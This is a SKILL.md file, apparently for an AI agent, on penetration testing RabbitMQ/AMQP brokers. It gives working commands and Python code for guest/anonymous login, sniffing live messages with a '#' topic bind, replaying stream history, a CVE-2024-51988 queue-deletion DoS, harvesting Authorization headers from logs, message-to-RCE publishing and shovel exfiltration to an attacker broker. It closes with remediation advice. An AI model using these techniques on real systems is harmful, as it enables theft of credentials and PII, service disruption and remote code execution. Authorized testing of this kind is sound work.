pentesting-rabbitmq
$
npx mdskill add xalgord/xalgorix/pentesting-rabbitmq- Default ports `5672/tcp` (AMQP 0-9-1 and 1.0, plaintext) and `5671/tcp` (TLS). Management HTTP API/UI on `15672`; related ports: `1883/8883` MQTT, `4369` epmd, `25672` Erlang dist, `61613/61614` STOMP. - When `nmap` shows `5672/tcp open amqp RabbitMQ 3.1.5 (0-9)`. - A broker holds in-transit messages — often containing credentials, tokens, PII, and job/command payloads — making read or publish access very impactful.
SKILL.md
.github/skills/pentesting-rabbitmqView on GitHub ↗
---
name: pentesting-rabbitmq
description: Testing RabbitMQ / AMQP message brokers (default 5672/TCP plaintext, 5671/TCP TLS; management 15672) for default guest credentials, anonymous/SASL login, message sniffing via topic/stream/event-exchange binds, queue-deletion DoS (CVE-2024-51988), Authorization-header log leakage, and message-to-RCE sinks during authorized engagements.
domain: cybersecurity
subdomain: network-services-pentesting
tags:
- penetration-testing
- network-services
- rabbitmq
version: '1.0'
author: xalgorix
license: Apache-2.0
---
# Pentesting RabbitMQ / AMQP (port 5672)
## When to Use
- Default ports `5672/tcp` (AMQP 0-9-1 and 1.0, plaintext) and `5671/tcp` (TLS). Management HTTP API/UI on `15672`; related ports: `1883/8883` MQTT, `4369` epmd, `25672` Erlang dist, `61613/61614` STOMP.
- When `nmap` shows `5672/tcp open amqp RabbitMQ 3.1.5 (0-9)`.
- A broker holds in-transit messages — often containing credentials, tokens, PII, and job/command payloads — making read or publish access very impactful.
## Quick Enumeration
```bash
# Nmap amqp-info (capabilities, version, SASL mechanisms)
nmap -sV -Pn -n -T4 -p 5672 --script amqp-info <IP>
# | amqp-info:
# | mechanisms: PLAIN AMQPLAIN
# | version: 3.1.5 product: RabbitMQ platform: Erlang/OTP
# Probe AMQPS (cert chain, TLS versions, mutual TLS)
openssl s_client -alpn amqp -connect <IP>:5671 -tls1_3 -msg </dev/null
# Inspect server properties / SASL mechanisms with default guest:guest
python3 - <<'PY'
import amqp
conn = amqp.connection.Connection(host="<IP>", port=5672, virtual_host="/") # default guest:guest
conn.connect()
print("SASL mechanisms:", conn.mechanisms)
for k, v in conn.server_properties.items():
print(k, v)
PY
# Listeners from a low-priv host shell
rabbitmq-diagnostics -q listeners
```
## Critical: Checks Most Often Missed
- **Default credentials `guest:guest`** — RabbitMQ restricts guest to localhost via `loopback_users`, but many Docker/IoT images disable that check. **Always test remote login** rather than assuming it's blocked.
- **ANONYMOUS / weak SASL** — if the broker advertises ANONYMOUS, connect with empty user/pass (maps to `anonymous_login_user`, defaults to `guest`). PLAIN/AMQPLAIN are on by default.
- **Message sniffing via broad binds** — topic authorization is often weaker than defenders expect; binding `#` or `audit.#`/`payments.*` to `amq.topic` siphons live messages. Bind `amq.rabbitmq.event` (`user.#`, `connection.#`) for a live recon feed of logins/queues.
- **Stream queue historical replay** — `x-queue-type=stream` queues are append-only; a read account can replay old messages (`x-stream-offset:first`) recovering tokens/PII long after consumption.
- **Queue-deletion DoS (CVE-2024-51988)** — RabbitMQ <= 3.12.10 skips the `configure` permission check on HTTP-API queue deletes; a `read`/`write`-only user can delete arbitrary queues.
- **Authorization-header log leak** — until 4.0.8/4.1.0 the management API logs the base64 `Authorization` header on a non-existent resource; recover creds from `/var/log/rabbitmq/`.
- **Message-to-RCE sink** — if a downstream worker pipes message content into `bash -c "$MSG"`/`os.system`/`shell=True`, publish access = RCE.
### How to CONFIRM
- Default/anon login: the `amqp.Connection(...).connect()` succeeds remotely (no `ACCESS_REFUSED`).
- Sniffing: a temporary queue bound to `amq.topic`/`amq.rabbitmq.event` receives message bodies/headers.
- CVE-2024-51988: `curl -X DELETE .../api/queues/%2F/<queue>` succeeds with a low-priv user (queue disappears).
- RCE: publish a benign probe (`id`, `whoami`) and observe its output in a results queue/log before upgrading.
## Workflow
### Step 1: Enumerate
Run `amqp-info`, probe AMQPS, and read `server_properties`/SASL mechanisms. Note version (for CVE mapping) and whether the management plugin (15672) is enabled.
### Step 2: Authenticate / unauth access
Test `guest:guest` remotely, try ANONYMOUS with empty creds, and password-spray known users (AMQP/STOMP brute force). Use the passive `queue.declare`/`exchange.declare` permission oracle (`NOT_FOUND` vs `ACCESS_REFUSED`) to enumerate object names without creating artifacts.
### Step 3: Exploit / Extract
Sniff messages without deleting them:
```python
import pika
creds = pika.PlainCredentials('user','pass')
conn = pika.BlockingConnection(pika.ConnectionParameters('<IP>',5672,'/',creds))
ch = conn.channel()
ch.queue_declare(queue='loot', exclusive=True, auto_delete=True)
ch.queue_bind(queue='loot', exchange='amq.topic', routing_key='#') # or audit.# / payments.*
for method, props, body in ch.consume('loot', inactivity_timeout=5):
if body: print(method.routing_key, body)
```
Replay stream history: bind/consume with `arguments={'x-stream-offset':'first'}`. Monitor events: bind `amq.rabbitmq.event` with key `user.#` and inspect `props.headers` (body is blank).
DoS via CVE-2024-51988:
```bash
rabbitmqadmin -H target -P 15672 -u user -p pass show overview | grep -i version # confirm vuln
curl -k -u user:pass -X DELETE https://target:15672/api/queues/%2F/payments-processing
```
Trigger and harvest the Authorization-header log leak:
```bash
curl -k -u pentester:SuperSecret https://target:15672/api/queues/%2f/ghost
sudo grep -R "Authorization:" /var/log/rabbitmq | cut -d' ' -f3 | base64 -d
```
### Step 4: Post-access / pivot
Exfiltrate messages by declaring a shovel to an attacker broker (`rabbitmqadmin shovels declare_amqp091 ...`). Reuse decoded/sniffed creds over AMQP/STOMP/MQTT or the OS. If a consumer executes message bodies, publish a payload (incl. via the management API) for RCE:
```bash
curl -u user:pass -H 'content-type: application/json' \
-X POST http://TARGET:15672/api/exchanges/%2F/amq.default/publish \
-d '{"properties":{},"routing_key":"update","payload":"id","payload_encoding":"string"}'
```
## Key Concepts
| Concept | Description |
|---------|-------------|
| **Exchange / queue / binding** | Messages route from exchanges to queues per binding/routing keys |
| **vhost** | Virtual host namespace; permissions are per-vhost (`%2F` = default `/`) |
| **Topic exchange** | Wildcard routing (`#`, `*`); auth often permissive on fresh installs |
| **Stream queue** | Append-only log queue; supports historical offset replay |
| **Event exchange** | `amq.rabbitmq.event` republishes internal events (logins, queues) |
| **SASL mechanisms** | PLAIN/AMQPLAIN default; ANONYMOUS maps to guest; EXTERNAL = x509 |
## Tools & Systems
| Tool | Purpose |
|------|---------|
| **nmap amqp-info NSE** | Version, capabilities, SASL mechanisms |
| **openssl s_client** | AMQPS (5671) cert/TLS/mutual-TLS inspection |
| **python amqp / pika** | Connect, dump server props, sniff/replay/publish messages |
| **rabbitmqadmin / -ng (v2)** | Management API CLI: channels, shovels, queues, health checks |
| **curl** | Management HTTP API (delete queues, publish, trigger log leak) |
| **Hydra / brute tooling** | AMQP/STOMP credential spraying |
## Common Scenarios
### Scenario 1: Default guest on Docker image
A containerized RabbitMQ left `loopback_users` disabled; `guest:guest` logs in remotely and a `#` topic bind sniffs payment messages with PII.
### Scenario 2: Stream replay of secrets
An `orders-stream` queue retains processed jobs; `x-stream-offset:first` replays historical messages containing bearer tokens.
### Scenario 3: Message-to-RCE
A worker consumer runs `bash -c "$MESSAGE"`; publishing `id` via the management API to the `update` routing key returns command output, confirming RCE.
## Output Format
```
## RabbitMQ / AMQP Finding
**Service**: AMQP (5672/tcp | 5671/tcp TLS), management 15672
**Severity**: <Critical|High|Medium>
**Target**: <IP>:5672 Version: RabbitMQ <x.y.z>
### Evidence
- Default/anon login: guest:guest (or ANONYMOUS) accepted remotely
- Message sniffing: bound amq.topic '#' captured <sensitive payloads>
- Stream replay / event-exchange recon successful
- CVE-2024-51988 queue delete OR Authorization-header log leak confirmed
- RCE sink: published 'id' -> output observed
### Reproduction
python pika consume bound to amq.topic '#'
curl -X DELETE https://<IP>:15672/api/queues/%2F/<queue> -u low:priv
### Recommendation
1. Remove/disable guest and ANONYMOUS; enforce per-vhost least-privilege ACLs
2. Define explicit topic permissions; restrict event-exchange and stream reads
3. Patch RabbitMQ (>= fix for CVE-2024-51988; 4.0.8/4.1.0 for log leak)
4. Require TLS (5671), do not expose 15672/25672/4369 to untrusted networks
5. Never feed message content into shells; validate/whitelist consumer input
```